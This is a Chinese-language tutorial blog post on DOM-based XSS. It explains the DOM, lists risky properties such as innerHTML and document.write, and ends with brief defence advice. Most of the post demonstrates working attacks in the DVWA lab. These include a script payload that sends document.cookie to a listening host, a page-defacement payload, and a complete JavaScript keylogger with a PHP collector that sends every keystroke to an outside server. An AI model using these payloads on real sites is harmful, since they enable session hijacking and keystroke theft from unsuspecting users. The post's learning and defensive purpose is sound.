1. 程式人生 > >關於DOM型XSS漏洞的學習筆記

關於DOM型XSS漏洞的學習筆記

DOM,全稱Document Object Model,是一個平臺和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式。

DOM型XSS其實是一種特殊型別的反射型XSS,它是基於DOM文件物件模型的一種漏洞。

在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會為頁面建立一個頂級的Document object文件物件,接著生成各個子文件物件,每個頁面元素對應一個文件物件,每個文件物件包含屬性、方法和事件。可以通過JS指令碼對文件物件進行編輯從而修改頁面的元素。也就是說,客戶端的指令碼程式可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的資料並在本地執行。基於這個特性,就可以利用JS指令碼來實現XSS漏洞的利用。


可能觸發DOM型XSS的屬性:

document.referer屬性

window.name屬性

location屬性

innerHTML屬性

documen.write屬性

······


利用DOM引發XSS:

利用DOM來引發XSS的方法有很多,這裡只演示幾種。

利用建立元素createElement():

以DVWA反射型XSS為例,先在Kali監聽1234埠:

nc -nvlp 1234

然後在DVWA中輸入:

<script>var img=document.createElement("img");img.src="http://10.10.10.151:1234/a?"+escape(document.cookie);</script>

在Kali中可看到cookie資訊:



利用innerHTML:

用於篡改頁面,在前面的反射型的利用中也演示過:

<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>

利用document.onkeypress:

即進行鍵盤記錄。

在Kali的網頁根目錄下儲存Keylogger.js檔案:

document.onkeypress=function(evt){
	evt=evt || window.event
	key=String.fromCharCode(evt.charCode)
	if(key){
		var http=new XMLHttpRequest();
		var param=encodeURI(key);
		http.open("POST","http://10.10.10.151/keylogger.php",true);
		http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		http.send("key="+param);
	}
}

訪問一下確保可行:


接著就是將keylogger.php檔案也儲存在同一個目錄來是實現將鍵盤得到記錄儲存到本地的keylog.txt檔案中,即將接受到的key引數的取值儲存到該檔案中:

keylogger.php:

<?php
$key=$_POST['key'];
$logfile='keylog.txt';
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>

接著建立一個空的keylog.txt檔案,然後賦予相應的可寫的許可權,這裡為了方便就將許可權賦給所有的使用者:chmod 777 keylog.txt

接著在Kali中開啟的DVWA中輸入:

<script src="http://10.10.10.151/Keylogger.js"></script>

然後在該網頁中隨意輸入內容,檢視keylog.txt檔案可看到記錄了下來:


DOM型XSS的防禦方法:

DOM型XSS主要是由客戶端的指令碼通過DOM動態地輸出資料到頁面而不是依賴於將資料提交給伺服器端,而從客戶端獲得DOM中的資料在本地執行,因而僅從伺服器端是無法防禦的。其防禦在於:

(1) 避免客戶端文件重寫、重定向或其他敏感操作,同時避免使用客戶端資料,這些操作儘量在伺服器端使用動態頁面來實現;

(2) 分析和強化客戶端JS程式碼,特別是受到使用者影響的DOM物件,注意能直接修改DOM和建立HTML檔案的相關函式或方法,並在輸出變數到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到<script>則進行JS編碼。